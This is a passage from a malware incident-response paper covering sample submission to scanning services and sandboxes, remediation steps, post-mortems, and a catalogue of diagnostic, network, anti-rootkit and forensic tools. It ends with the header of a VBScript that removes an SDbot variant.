relevant skills and tools and have been given permission from your security manager/director to do 
so].

Place suspect files into a password protected zip file [use the password of infected] and send them 
to your preferred anti-malware company.

You could also send any samples to scanning services, such as VirusTotal and Jotti, and also to 
sandboxes such as the one run by Norman, or the CWSandbox [also available via Sunbelt].

mailto:abuse@yourdomain.com


Some of these services will analyse the files in great depth and supply you with copious amounts of 
useful  data.  This  can  help  you  to  understand  what  the  files  are  doing,  and  therefore  how  to 
remediate any affected systems, even before your anti-malware vendor has detection.

You can see the amount of data that  some of these tools and services  produce in ‘Real World 
Example 2’ later in this paper.

Step 3b: D-I-Y Sample Analysis

Assuming you have the relevant skills and tools and have been given permission from your security 
manager/director to do so, you could analyse the files yourself.

I would recommend that this is done on a system that is not connected to the network, and ideally 
this is a system that you will either use VMWare [or some other Virtual Machine software] on, so 
that it can be re-imaged, or reset back to a clean image [snapshot] after running the suspected files 
on the test system.

If you are using a Virtual Machine such as VMWare then you need to be aware that the malware 
may be able to detect that it is in a virtual machine and either change its behaviour accordingly or 
turn destructive and kill your virtual machine.

The  malware  covered  in  ‘Real  World  Example  1’ appeared  to  be  able  to  detect  it  was  being 
executed inside at least one of the most commonly used Sandboxes.

Once this has been setup, you can use whatever tools you prefer to carry out the analysis, such as, 
using static analysis tools, like PEiD, Strings, File Alyzer and so on, you could also examine the file 
in a hex editor and/or a debugger. This is only advised if you are able to understand assembler code 
and you are sure that the file to be debugged does not contain and anti-debugging code which may 
be triggered during examination.

You could then move onto running the file and seeing what it does using tools such as InCtrl5, 
Windiff,  PSTools or you may prefer to disassemble it  using tools such as IDAPro,  WinDbg or 
OllDbg. This is only advised if you are able to understand assembler code and you are sure that the 
file  to  be debugged does  not  contain  and anti-debugging code which  may be  triggered  during 
examination.

This is also a good time to try out any remediation scripts or tools you have created as a quick-n-
dirty solution to the problem [obviously only on a test system].

Step 4: Analyse The Data (Part 2)

By now you should have a good idea what is going on, and what any malcode is doing to the 
affected systems and what network traffic is being generated by it [or them].

If you haven’t then you should now take time to go over all the data you have acquired during the 
first three steps. You could use a flow diagram to plot the malcode’s features and activities, or you 
may prefer to brainstorm on a whiteboard with suitable colleagues. From here you should emerge 
with a clear [or fairly clear] understanding of what needs to be done to protect the rest  of the 
network [it could be as simple as putting in a new, or changing an existing router ACL, firewall 
rule,  or  IDS/IPS  signature/rule  in  place]  which  may  also  allow you  to  identify  other  infected 
systems that need to be removed from the network and remediated.

Step 5: Remediation

Hopefully by now, you can either create or at least plan out the steps that you need to take to 
remediate all the infected systems identified. You may decide that you can create your own clean-up 
scripts [paper and/or code] rather than wait for your anti-malware vendors to get detection and 
cleanup definitions  [signatures]  to  you.  Otherwise  you will  have  to  be  patient  until  your  anti-
malware vendor delivers the goods.



The other  alternative,  especially  if  a  system is  heavily infected,  or  you can’t  find any sign of 
malcode [even when using all the tools/tricks and techniques listed in this paper], is to restore the 
system  from  the  last  known  clean  backup,  or  re-image  it  to  your  organisations  standard 
desktop/server build image.

Step 6: Post Mortem

This is where you take stock of what has happened and decide what [if any] changes are required to 
improve protection of your infrastructure, your security policy and procedures and, last  but not 
least, user education.

The whole point of this is to help minimise the risk of another similar outbreak. The ideas that come 
out from this session should be wide-ranging and generic as these will  generally offer the best 
improvements  in  your  organisations  security  posture;  both  from the  aspects  of  prevention  and 
incident management.

This is not the time for a witch-hunt to take place so that blame can be attributed to individuals 
and/or  teams,  you should  focus  on  what  went  wrong  [or  failed]  and  put  together  solutions  to 
minimise the chances of a similar attack being successful next time. It may also be useful to revisit 
your overall approach to threats and infection vectors, as they may have changed since the last time 
you looked.

A final note: If it is a criminal case then you need to follow computer forensic principals, such as  
the chain of custody, and follow the prevailing laws [including all guidance from law enforcement  
agencies that might get involved] for your country, state, or other geographical divide. Failure to  
do so may mean that a successful prosecution is unlikely; the case may not even get to court. If in  
doubt seek legal guidance first, before proceeding.

Tools

A common problem when you think you have a rogue [malware/spyware/adware] program running 
on your system is trying to find it.

This section of the paper will cover a number of tools which can be useful in checking a system out 
for odd behaviour and for testing/analysing suspected files. I will not cover all of these in depth as 
that is beyond the scope and purpose of this paper, in the cases where I do not cover a tool in depth I 
will  use  some of  the  description text  found on the  website  of  that  specific  tool  or  application 
instead.

However, I will cover some of the most useful diagnostic tools in more than passing where I can. 
These tools are suggested to be used where you have already carried out some investigation, such as 
you have already scanned the suspect system with at least one 'up-to-date' anti-virus product, at 
least one 'up-to-date' anti-spyware product and at least one 'up-to-date' anti-rootkit product.

The final option is to use forensic tools, such as: Encase or F.I.R.E.

Remote Access

These are very useful  tools for when you can’t  physically get to a suspected system as it is in 
another building, country or a secure facility.

VNC

“VNC stands for Virtual Network Computing. It is remote control software which allows you to 
view and fully interact with one computer desktop (the "VNC server") using a simple program (the 
"VNC viewer") on another computer desktop anywhere on the Internet. The two computers don't 
even have to be the same type, so for example you can use VNC to view a Windows Vista desktop 
at the office on a Linux or Mac computer at home. For ultimate simplicity, there is even a Java 
viewer, so that any desktop can be controlled remotely from within a browser without having to 
install software.”



Website: http://www.realvnc.com/

PSExec

“Utilities like Telnet and remote control programs like Symantec's PC Anywhere let you execute 
programs on remote systems, but they can be a pain to set up and require that you install client 
software on the remote systems that you wish to access. PsExec is a light-weight telnet-replacement 
that  lets  you  execute  processes  on  other  systems,  complete  with  full  interactivity  for  console 
applications,  without  having  to  manually  install  client  software.  PsExec's  most  powerful  uses 
include launching interactive command-prompts on remote systems and remote-enabling tools like 
IpConfig that otherwise do not have the ability to show information about remote systems.”

Website: http://www.microsoft.com/technet/sysinternals/security/psexec.mspx

File Information

These tools are very useful in analysing a file, its structure and may often tell you if the file is 
packed, compressed, what resources it requires, exports as well as often showing the internal file 
format [hex viewer] and often even text strings found in the code. Others covered in this section 
will show you network connections [including which file or process is responsible for it].I will also 
include debuggers and dissemblers in this section.

PEiD

“PEiD detects most common packers, cryptors and compilers for PE files. It can currently detect 
more than 600 different signatures in PE files.”

Figure 1: PEiD screenshot

Website: http://www.peid.info/ 

FileAlyzer

“FileAlyzer is a tool to analyze files - the name itself was initially just a typo of FileAnalyzer, but 
after a few days I  decided to keep it.  FileAlyzer allows a basic  analysis of files (showing file 
properties and file contents in hex dump form) and is able to interpret common file contents like 
resources structures (like text, graphics, HTML, media and PE).”



Figure 2: FileAlyzer screenshot

Website: http://www.safer-networking.org/en/filealyzer/index.html

Stud_Pe

“Stud_PE The Portable Executables Viewer/Editor, view/edit PE basic Header information (DOS 
also):      -header structures to hexeditor; view/edit Section Table: - add new section; view/edit 
Directory Table: -Import/Export Table viewer; -Import adder; -Resource viewer/editor save/replace 
ico/cur/bmp);  Pe  Scanner  (PEiD  sig  database):  -400  packers/protectors/compilers;  Task 
viewer/dumper/killer;  PEHeader/Binary  file  compare;  RVA to  RAW to  RVA;  Drag'nDrop  shell 
menu integration; Basic HexEditor;”

Figure 3: Stud_PE screenshot

Website: http://www.cgsoftlabs.ro/studpe.html



Strings

“Working  on  NT and  Win2K  means  that  executables  and  object  files  will  many  times  have 
embedded UNICODE strings that  you cannot  easily see with a standard ASCII  strings or grep 
programs. So we decided to roll our own. Strings just scans the file you pass it for UNICODE (or 
ASCII) strings of a default length of 3 or more UNICODE (or ASCII) characters. Note that it works 
under Windows 95 as well.”

Website: http://www.microsoft.com/technet/sysinternals/Miscellaneous/Strings.mspx

WinDbg

“You can use Debugging Tools for Windows to debug drivers, applications, and services on systems 
running Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003, Windows Vista, 
and Windows Server 2008 as well as for debugging the operating system itself. Versions of the 
Debugging Tools for Windows package are available for 32-bit x86, native Intel Itanium, and native 
x64 platforms.”

Website: http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx

OllyDbg

“OllyDbg is a 32-bit assembler level analysing debugger for Microsoft® Windows®. Emphasis on 
binary code analysis makes it particularly useful in cases where source is unavailable.”

Figure 4: OllyDbg screenshot

Website: http://www.ollydbg.de/

IDA pro

“IDA Pro is a Windows or Linux hosted multi-processor dissembler and debugger that offers so 
many features it is hard to describe them all.”

Website: http://www.hex-rays.com/idapro/



Fport

This is one of the 'tools-of-the-trade' that can be used to identify open and listening ports that are 
being used by the 'scumware' to talk/listen to the internet.

Most network technicians will normally first suggest that you use the ubiquitous 'Netstat' command 
found on all Windows and Linux systems.

Netstat when run with the '-a'  switch will  show all the active and listening ports in use on the 
TCP/IP stack, which is useful as long as you know what the all port numbers mean!

Here is an excerpt from the output of Netstat -a:

Figure 5: Netstat -a screenshot

To understand it you really need to understand networking to a reasonable level, this includes the 
different protocols, all  the port  numbers used by common applications and also how to get the 
output for UDP as well as TCP ports. This is a bit of a minefield for non-technical users!

What if you want to find out which application/program/executable is actually using a specific port 
[or range of ports]? Well, in that case Netstat can't help, however there is a simple little tool that can 
give you just that information and can be very, very, useful in helping to diagnose the presence of a 
new piece of network-enabled 'scumware'; this tool is Fport.

Introduction:

Fport is a free tool that will show you what programs on your system are opening which ports (both 
TCP and UDP). You can look at the output and see if you notice any strange programs that don't 
belong on the machine. Then you can use a command-line "kill" utility such as PSKill to stop the 
programs. Typically, trojans and some viruses will open up non-standard ports which can be a great 
clue to determining if a system is compromised or not. Watch out for open high numbered ports 
such as 3112, 31337, 12345, and 65000. Fport can be used on Windows NT4, Windows 2000, and 
Windows XP.

Installation:

Place the Fport.exe file directly on your C drive. Fport works only if you navigate to where it is 
being stored in the command prompt.

Usage:

Once installed, invoke fport like this:

Start --> Run --> cmd

C:\> cd \

C:\> fport -p



If you want to pipe the output of fport into a file:

C:\> fport -p >> [filename].txt

You can download Fport from: http://www.foundstone.com/us/resources/proddesc/fport.htm

The beauty of Fport is that it is very useable by even the most non-technical of users; it is small and 
currently is not being defeated/manipulated by malware, unlike a number of other system diagnostic 
tools. So, if you think you are infected and have tried all the usual things to track down the rogue 
application, then give Fport a go.

Handle

“Ever wondered which program has a particular file or directory open? Now you can find out. 
Handle is a utility that displays information about open handles for any process in the system. You 
can use it to see the programs that have a file open, or to see the object types and names of all the 
handles of a program.”

Website: http://technet.microsoft.com/en-us/sysinternals/bb896655.aspx

Netstat

See FPort

System Information

This section will cover tools that are generally considered to be vulnerability analysis tools and 
tools that can be used to help pinpoint rogue entries in key system areas, such as registry keys, 
services, browser helper objects and other plugins, DNS, LSP and other networking modifications 
and settings. Several of these tools could also be included in the previous section, as they are multi-
purpose.

Nessus

“Nessus  performs  sophisticated  remote  scans  and  audits  of  UNIX,  Windows,  and  network 
infrastructures. Nessus discovers network devices and identifies the operating systems, applications, 
databases, and services running on those assets.

Any non-compliant hosts, such as systems running P2P, spyware, or malware (worms, Trojans, etc.) 
are  detected and identified.  Nessus  is  capable  of  scanning all  ports  on every  device and issue 
remediation strategy suggestions as required.”

Website: http://www.nessus.org/nessus/

Microsoft Baseline Security Analyzer

“Microsoft  Baseline  Security  Analyzer  (MBSA)  is  an  easy-to-use  tool  designed  for  the  IT 
professional  that  helps  small-  and  medium-sized  businesses  determine  their  security  state  in 
accordance with Microsoft security recommendations and offers specific remediation guidance.”

Website: http://www.microsoft.com/technet/security/tools/mbsahome.mspx 

SuperScan

SuperScan is a Windows GUI alternative to using NMap, useful when you can’t get hold of NMap 
or don’t know how to use it. The tool is described by the creator, as a:

“Powerful TCP port scanner, pinger, resolver.”

http://www.microsoft.com/technet/security/tools/mbsahome.mspx


Figure 6: SuperScan screenshot

Website: http://www.foundstone.com/us/resources/proddesc/superscan4.htm

Nmap

“Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or 
security auditing. Many systems and network administrators also find it useful for tasks such as 
network inventory, managing service upgrade schedules, and monitoring host or service uptime. 
Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what 
services (application name and version) those hosts are offering, what operating systems (and OS 
versions) they are running, what type of packet filters/firewalls are in use, and dozens of other 
characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. 
Nmap runs on all major computer operating systems, and both console and graphical versions are 
available.”

Figure 7: Nmap screenshot

Website: http://nmap.org/

http://nmap.org/


HijackThis

This is another useful tool for finding spyware, adware and other malware programs running on 
your system via one of the registry keys which ensures that the 'scumware' is running whenever it 
wants to; such as at system startup or when a specific application is launched. 

To try and assist in this situation I will cover one of the 'tools-of-the-trade' that can be used to list 
registry keys and related launch points that are being used by the 'scumware' when it gets on to your 
system. 

Introduction:

HijackThis examines certain key areas of the Registry and Hard Drive and lists their contents and 
provides  the  ability  to  remove  any  unwanted  stuff..  These  areas  are  used  by  both  legitimate 
applications and hijackers.

This is how the author describes it:

“A general homepage hijackers detector and remover. Initially based on the article Hijacked!, but  
expanded with almost a dozen other checks against hijacker tricks. It  is continually updated to  
detect and remove new hijacks. It does not target specific programs/URLs, just the methods used by  
hijackers to force you onto their sites. As a result, false positives are imminent and unless you are  
sure  what  you're  doing,  you should  always  consult  with  knowledgeable  folks  (e.g.  the  forums) 
before deleting anything.”

Installation:

Download the HijackThis zip file to your computer and unzip it. I would recommend first creating a 
folder named 'HijackThis' for it located someplace easy to find like 'My Documents' and place the 
file into the same folder.

Now to make opening the program simple create a shortcut to the desktop. This is done easiest by 
right clicking on the HijackThis exe file, scroll down to 'Send To', and scroll across to 'Desktop 
(create shortcut') and click it.

Usage:

 Now open the program and click 'Scan'. When the scan is done click 'Save log' and save the log file 
to the same folder HijackThis is in. Please do not check or fix anything.

Open the log file. Double-clicking on the file should open the log file with notepad or similar text 
editor. If asked to choose a program to open it with select Notepad. Using Notepad click 'Edit', 
scroll down to 'Select All' to highlight all the text in the file. Click 'Edit', scroll down to 'Copy' and 
click.

So, what does it look like? Like this [this list of programs, BHOs, etc. will not in most cases be the 
same as the ones shown in this screenshot].

This  tool  is  not  for  non-techies,  luckily  some  kind  soul  has  come  to  the  rescue  to  assist  in 
understanding  the  raw  log  files  produced  by  HijackThis.  This  online  tool  is  known  as  the 
‘HijackThis Log Analyser2’. This is a useful site for turning the output of HijackThis into something 
that means something to most end-users, not just techies or propeller-heads.

HijackThis can also be used remove scumware.

The beauty of HijackThis is that it is useable by most non-technical users; it is small and currently 
is not being defeated/manipulated by malware, unlike a number of other system diagnostic tools. 
So,  if  you think you are  infected and have tried  all  the  usual  things to  track down the  rogue 
application, then give HijackThis a go. What have you got to lose, apart from the scumware?

2 The HijackThis Log Analyser can be found here: http://www.hijackthis.de/en



Figure 8: HijackThis screenshot

Website: http://www.spywareinfo.com/~merijn/programs.php

WinPatrol

WinPatrol  is  an  interesting  tool  described  by  its  author  as  a  “robust  SECURITY  MONITOR, 
WinPatrol will alert you to hijackings, malware attacks and critical changes made to your computer  
without your permission.” 

Figure 9: WinPatrol screenshot.

It is a rather useful watchdog tool, as it monitors numerous parts of the operating system and key 
applications, such as Internet Explorer. WinPatrol regularly checks the system areas monitored and 
warns you about any changes. You get to decide whether the change is allowed or not.

It has functionality that is found in a number or individual diagnostic tools, such as Sysinternals 
autoruns3 and a number of Windows tasks, such as displaying the current active tasks and services.

Website: http://www.winpatrol.com/

3 Which can be downloaded from here: http://www.sysinternals.com/Utilities/Autoruns.html

http://www.spywareinfo.com/~merijn/programs.php


Virtual Analysis of real Malcode

Other than forensics this is the most technical and also most useful section as it allows you to see 
exactly what a malcode is doing, in real-time. The tools covered here are for advanced users only 
who are already used to handling live malcode. As mentioned earlier in this paper, a reasonable 
number of malware now has the ability to detect that it is being run inside a VM or Sandbox and 
may  well  either  change  its  behaviour  accordingly;  this  could  be  a  simple  as  not  running  any 
malicious code, or it may turn destructive and delete files, directories, format the drive or simply 
kill the VM instead. 

VMware

“VMware Workstation lets you use your virtual machines to run Windows, Linux and a host of 
other  operating systems side-by-side on the same computer.  You can switch between operating 
systems instantly with a click of a mouse, share files between virtual machines with drag-and-drop 
functionality and access all the peripheral devices you rely on.

With Workstation, you can take a “snapshot” that preserves the state of a virtual machine so you can 
return to it at any time. Snapshots are useful when you need to revert your virtual machine to a 
prior, stable system state. Workstation displays thumbnails of all your snapshots on a single screen, 
making it easy for you to track and revert to a previously saved snapshot.”

The screenshot shown in Figure 10 is of VMWare Workstation showing a running XP Home guest 
operating system.

Figure 10: VMWare screenshot

Website: http://www.vmware.com/

InCtrl5

“InCtrl5 is the fifth incarnation of one of PC Magazine's most popular utilities. By monitoring the 
changes made to your system when you install new software, it enables you to troubleshoot any 
problems that  come up.  Virtually  every  modern  program uses  an  install  utility  that  installs  or 
updates files;  these utilities  may also record data in  the Registry and update INI files or other 



essential text files. A companion uninstall utility should precisely reverse the effects of the install 
utility. When a newly installed program causes existing applications to fail, or when the supplied 
uninstall utility can't complete its task, you need a record of exactly what the original install utility 
did in order to restore your system. InCtrl5 can provide this record.”

Website: http://www.pcmag.com/article2/0,4149,9882,00.asp

PSTools

“The Windows NT and Windows 2000 Resource Kits come with a number of command line tools 
that help you administer your Windows NT/2K systems.  Over time, I've grown a collection of 
similar tools, including some not included in the Resource Kits. What sets these tools apart is that 
they all allow you to manage remote systems as well as the local one. The first tool in the suite was 
PsList, a tool that lets you view detailed information about processes, and the suite is continually 
growing.  The  "Ps"  prefix  in  PsList  relates  to  the  fact  that  the  standard  UNIX process  listing 
command-line tool is named "ps", so I've adopted this prefix for all the tools in order to tie them 
together into a suite of tools named PsTools.

Note: some anti-virus scanners report that one or more of the tools are infected with a "remote 
admin" virus. None of the PsTools contain viruses, but they have been used by viruses, which is 
why they trigger virus notifications.

The tools included in the PsTools suite, which are downloadable individually or as a package, are:

•PsExec - execute processes remotely

•PsFile - shows files opened remotely

•PsGetSid - display the SID of a computer or a user

•PsInfo - list information about a system

•PsKill - kill processes by name or process ID

•PsList - list detailed information about processes

•PsLoggedOn - see who's logged on locally and via resource sharing (full source is included)

•PsLogList - dump event log records

•PsPasswd - changes account passwords

•PsService - view and control services

•PsShutdown - shuts down and optionally reboots a computer

•PsSuspend - suspends processes

•PsUptime -  shows you how long a system has  been running since its  last  reboot  (PsUptime's 
functionality has been incorporated into PsInfo)

All  of the utilities in the PsTools suite work on Windows Vista,  Windows NT, Windows 2000, 
Windows XP and Windows Server 2003. The PsTools download package includes an HTML help 
file with complete usage information for all the tools.”

Website: http://www.microsoft.com/technet/sysinternals/FileAndDisk/PsTools.mspx

Norman Sandbox

“Norman Sandbox Information Center (NSIC) is a web site that offers

*  Free  uploads  of  program  files  that  you  suspect  are  malicious  or  infected  by  malicious 
components, and instant analysis by Norman SandBox. The result is also sent you by email.

* Comprehensive statistics of files that are uploaded to NSIC during the latest day, week and month. 
You will then be able to see tendencies in the creation of malicious software.



* In-depth information about the analysis performed by Norman SandBox of each malicious file 
that is uploaded.

* Search facility in all analyses after Registry keys, file names, etc.”

Figure 11: Norman Sandbox website screenshot

Website: http://www.norman.com/microsites/nsic/Submit/en-uk

CWSandbox

“CWSandbox  is  an  approach  to  automatically  analyze  malware  which  is  based  on  behavior 
analysis: malware samples are executed for a finite time in a simulated environment,  where all 
system calls are closely monitored. From these observations, CWSandbox is able to automatically 
generate a detailed report which greatly simplifies the task of a malware analyst.”

Figure 12: CWSandbox website screenshot



Website: http://www.cwsandbox.org/ or http://research.sunbelt-software.com/Submit.aspx

Scanners

This section covers the main options you have to get any suspected files scanned by multiple anti-
malware scanners, without having to buy, install and then run each product against the suspected 
files.  I  have also included the sample submission e-mail  addresses  for  most  of the major  anti-
malware firms, so that you can send samples directly to them instead, if you prefer.

Finally I will briefly cover the various classes of anti-malware tools that you should consider, and 
hopefully already have in place.

VirusTotal

“VirusTotal is a service that analyzes suspicious files and facilitates the quick detection of viruses, 
worms, trojans, and all kinds of malware detected by antivirus engines.

Specs:

    * Free, independent service

    * Use of multiple antivirus engines

    * Real-time automatic updates of virus signatures

    * Detailed results from each antivirus engine

    * Real time global statistics”

Figure 13: Virus Total website screenshot

Website: http://www.virustotal.com/

http://www.cwsandbox.org/


Jotti

“This service is by no means 100% safe. If this scanner says 'OK', it does not necessarily mean the 
file is clean. There could be a whole new virus on the loose. NEVER EVER rely on one single 
product only, not even this service, even though it utilizes several products. Therefore, we cannot 
and will not be held responsible for any damage caused by results presented by this non-profit 
online service.

Also, we are aware of the implications of a setup like this. We are sure this whole thing is by no 
means scientifically correct, since this is a fully automated service (although manual correction is 
possible). We are aware, in spite of efforts to proactively counter these, false positives might occur, 
for example. We do not consider this a very big issue, so please do not e-mail us about it. This is a 
simple online scan service, not the University of Wichita.

Scanning can take a while, since several scanners are being used, plus the fact some scanners use 
very high levels of (time consuming) heuristics. Scanners used are Linux versions, differences with 
Windows scanners may or may not occur. Another note: some scanners will only report one virus 
when scanning archives with multiple pieces of malware.

Virus  definitions  are  updated  every  hour.  There  is  a  10Mb limit  per  file.  Please  refrain  from 
uploading tons of hex-edited or repacked variants of the same sample.”

Website: http://virusscan.jotti.org/

Vendors

Anti-Virus Vendor Submission E-mail Addresses:

• Authentium (Command Antivirus)  virus@authentium.com

• Computer Associates (US) - virus@ca.com

• Computer Associates (Vet/EZ) - ipevirus@vet.com.au

• DialogueScience (Dr. Web) - Antivir@dials.ru

• Eset (NOD32) - sample@nod32.com

• F-Secure Corp. - samples@f-secure.com

• Frisk Software (F-PROT) - viruslab@f-prot.com

• Grisoft (AVG) - virus@grisoft.cz

• H+BEDV (AntiVir, Vexira engine) - virus@antivir.de

• Kaspersky Labs - newvirus@kaspersky.com

• McAfee - virus_research@mcafee.com - use a ZIP file with the password 'infected' without  
the quotes)

• Norman (NVC) - analysis@norman.no>

• Panda Software - labs@pandasoftware.com

• Sophos Plc. - support@sophos.com

• Symantec (Norton) - avsubmit@symantec.com

• Trend Micro (PC-cillin) - virus_doctor@trendmicro.com

Anti-Rootkit Tools

mailto:virus_doctor@trendmicro.com
mailto:virus_research@mcafee.com


Rootkits have been around for *NIX systems for many years; however they are now a growing 
problem for Windows systems.  This is not only true in regard to bots and worms; we are now 
seeing Spyware authors actively using so-called ‘rootkit’ technology. This really should be called 
‘cloaking’ or ‘stealthing’ techniques rather than ‘rootkit technology’ as what they are doing is hiding 
the malware files and processes from the operating system. Malware using stealth techniques is not 
a new phenomenon; many years ago DOS malware authors used similar techniques.

There are a number of tools available that claim to be able to detect and remove rootkits, these are 
listed below, along with the OS that they are suitable for:

• ChkRootkit [*NIX - http://chkrootkit.org/]

• Rootkit Hunter [*NIX - http://www.rootkit.nl/projects/rootkit_hunter.html]

• RootkitRevealer [Wintel - http://www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml]

• UnHackme [Wintel - http://greatis.com/unhackme/]
• Blacklight [Wintel - http://www.f-secure.com/blacklight/]

A number of anti-virus products now include so-called ‘rootkit’ detection functionality which is 
required to detect many of the more advanced ones that bind in at kernel level.

Anti-Virus and Anti-Spyware

On the subject of anti-virus tools, I am not going to list them as any sensible organisation should 
already have at least one deployed across their infrastructure, and preferably two different vendors 
[covering different  parts  of  the infrastructure,  say one for desktop/laptop and the other  for  file 
servers and/or at the perimeter scanning e-mail, http and ftp], so that the window of opportunity for 
a new malcode is as small as possible

The use of anti-virus technologies as a detection method for systems infected by malicious spyware, 
rootkits and bots is self-evident, as many bots, key loggers, rootkits, diallers and droppers are now 
reliably detected by anti-virus products.

Because of this we are seeing the inclusion of techniques in many of the modern bots and some 
other  malicious spyware  to  allow them to  disable  as  many security  and anti-virus  products  as 
possible. In some cases this functionality may well be the first to be deployed, as a dropper being 
spammed out. Once run the dropper lowers or neutralises any local defences and then opens up the 
backdoor, or just downloads more components as required to complete the infiltration.

The thing to remember with anti-virus tools is that they can only [normally] detect malware they 
know about. New malware variants may well be detected by heuristics; however they are still far 
from perfect.

Many anti-virus vendors have bought in spyware detection technology, such as via an acquisition or 
licensing deals. Others have created their own and seamlessly integrated spyware detection into 
their existing anti-virus products. Either way it is good news for their customers.

There are also hardware [appliance] solutions that can be used to combat malware at the perimeter 
of the network, these use a variety of techniques such as URL filtering, active content blocking or 
filtering  many  of  these  appliances  are  policy  driven,  so  that  you can  decide  what  should  and 
shouldn’t be allowed in to your network. Examples of these devices include:

• Bluecoat WebFilter

• Finjan Vital Security™ Web Appliance

• McAfee Secure Web Gateway

A number of the largest anti-virus vendors offer products that can be centrally managed and will 
also offer compliance statistics for coverage and how up-to-date the signatures and products are 
within  your  network.  Some  of  the  management  tools  have  been  updated  to  manage  spyware 

http://greatis.com/unhackme/
http://www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
http://www.rootkit.nl/projects/rootkit_hunter.html
http://chkrootkit.org/


detection and personal firewall components alongside the traditional anti-virus functionality. This 
allows  complete  coverage  of  not  only  desktops  but  also  servers  and  in  some  cases  security 
appliances and other perimeter/network solutions.

If  you  want  spyware  protection  for  your  home  computer,  bearing  in  mind  that  home  users’ 
computers are more likely to be infected than those in large businesses, then this is the section of 
the paper for you.

However, if you are looking for anti-spyware tools that might be suitable for use in a small to 
medium business or tools that may be useful for support staff; be they in small, medium or large 
businesses or even academia then this section should still be useful to you.

One of the anti-spyware tools I suggest that home users should consider is Ad-Aware. The product 
is easy to use, accurate and signature updates are regular. The free version will do on-demand scans 
and clean, however if you want on-access protection you will have to buy the Plus edition. This will 
get  you the Ad-Watch on-access component that will  block spyware as it  tries to  download or 
install.

Figure 14: Ad-Aware SE screenshot.

Likewise, I also suggest Spybot Search & Destroy to home users, and technical support staff too for 
cleaning up spyware infected/infested computers on their networks. Like Ad-Aware it works in two 
modes, on-demand and it also has an on-access component, known as Tea-Timer which not only 
will block spyware in real-time it also monitors the registry.



Figure 15: Spybot Search & Destroy screenshot.

Both of these anti-spyware tools well respected and updated regularly to detect new threats and are 
available in many different languages.

Before I finish this section of the paper, I would like to bring your attention to the fact that you need 
to be very careful when selecting an anti-spyware solution/tool, as there are a number of them that 
are spyware in their own right. You can find a list of the known 'bogus' anti-spyware and anti-
malware tools here: http://www.spywarewarrior.com/rogue_anti-spyware.htm 

Network Information

This section will cover a couple of tools that are very useful for gathering and acting on network 
data.

Wireshark

“Wireshark is the world's foremost network protocol analyzer, and is the de facto (and often de jure) 
standard across many industries and educational institutions.

Features

Wireshark has a rich feature set which includes the following:

    * Deep inspection of hundreds of protocols, with more being added all the time

    * Live capture and offline analysis

    * Standard three-pane packet browser

    * Multi-platform: Runs on Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, and many others

    * Captured network data can be browsed via a GUI, or via the TTY-mode TShark utility

    * The most powerful display filters in the industry

    * Rich VoIP analysis

    * Read/write many different capture file formats: tcpdump (libpcap), Catapult DCT2000, Cisco 
Secure  IDS  iplog,  Microsoft  Network  Monitor,  Network  General  Sniffer®  (compressed  and 
uncompressed), Sniffer® Pro, and NetXray®, Network Instruments Observer, Novell LANalyzer, 
RADCOM  WAN/LAN  Analyzer,  Shomiti/Finisar  Surveyor,  Tektronix  K12xx,  Visual  Networks 
Visual UpTime, WildPackets EtherPeek/TokenPeek/AiroPeek, and many others

    * Capture files compressed with gzip can be decompressed on the fly

    * Live data can be read from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token 
Ring, Frame Relay, FDDI, and others (depending on your platfrom)

    *  Decryption  support  for  many  protocols,  including  IPsec,  ISAKMP,  Kerberos,  SNMPv3, 
SSL/TLS, WEP, and WPA/WPA2

    * Coloring rules can be applied to the packet list for quick, intuitive analysis

    * Output can be exported to XML, PostScript®, CSV, or plain text”

Website: http://www.wireshark.org/

Snort

“SNORT® is an open source network intrusion prevention and detection system utilizing a rule-
driven language, which combines the benefits of signature, protocol and anomaly based inspection 
methods. With millions of downloads to date, Snort is the most widely deployed intrusion detection 
and prevention technology worldwide and has become the de facto standard for the industry.”

Website: http://www.snort.org/



Forensics

The tools covered in this section are really a last resort and should only be used by those that have 
received training in computer forensics. These tools are most useful when you are carrying out an 
investigation that  may become a criminal case or where you need to capture evidence without 
changing or otherwise modifying a systems content. 

Encase

“EnCase® Forensic is the industry standard in computer forensic investigation technology. With an 
intuitive GUI, superior analytics, enhanced email/Internet support and a powerful scripting engine, 
EnCase® provides investigators with a single tool, capable of conducting large-scale and complex 
investigations  from  beginning  to  end.  Law  enforcement  officers,  government/corporate 
investigators and consultants around the world benefit from the power of EnCase® Forensic in a 
way that far exceeds any other forensic solution.

    * Acquire data in a forensically sound manner using software with an unparalleled record in 
courts worldwide.

    * Investigate and analyze multiple platforms — Windows, Linux, AIX, OS X, Solaris and more 
— using a single tool.

    * Save days, if not weeks, of analysis time by automating complex and routine tasks with prebuilt 
EnScript® modules, such as Initialized Case and Event Log analysis.

    * Find information despite efforts to hide, cloak or delete.

    *  Easily manage large volumes of computer evidence,  viewing all  relevant files,  including 
"deleted" files, file slack and unallocated space.

    * Transfer evidence files directly to law enforcement or legal representatives as necessary.

    * Review options allow non-investigators, such as attorneys, to review evidence with ease.

    * Reporting options enable quick report preparation.”



Figure 16: Encase website screenshot

Website: http://www.guidancesoftware.com/

F.I.R.E

“FIRE is a portable bootable cdrom based distribution with the goal of providing an immediate 
environment  to  perform forensic  analysis,  incident  response,  data  recovery,  virus  scanning and 
vulnerability assessment.

Also provides necessary tools for live forensics/analysis on win32, sparc solaris and x86 linux hosts 
just by mounting the cdrom and using trusted static binaries available in /statbins.”



Figure 17: F.I.R.E website screenshot

Website: http://biatchux.dmzs.com/

Tricks

This section will discuss a few tricks that can be useful, such as using clean-up scripts to speed up 
remediation.

The following example was created to kill the running process, registry keys and files created by a 
specific SDbot variant which was undetectable at the time is was originally found. This script, and 
other variants of it, were used to automate the testing of systems for the malware, and if found the 
script kills the running malware processes, removes the malwares registry keys and finally deletes 
the specific malware files.

VB Scripting for quick and dirty cleanup, example:
'RemSdbot2.vbs - SDbot remover for specific variant.
'© Martin Overton, 2007 (martin@arachnophiliac.com)
'Verson 0.99.2'
'Created to detect and remove an infection of the following Sdbot variant
'
'FileName: rundll.exe
'FileDateTime: 19/01/2007 14:05:00
'Filesize: 1364992
'MD5: 71fd1205f6d7550967bda6bf4491a50a
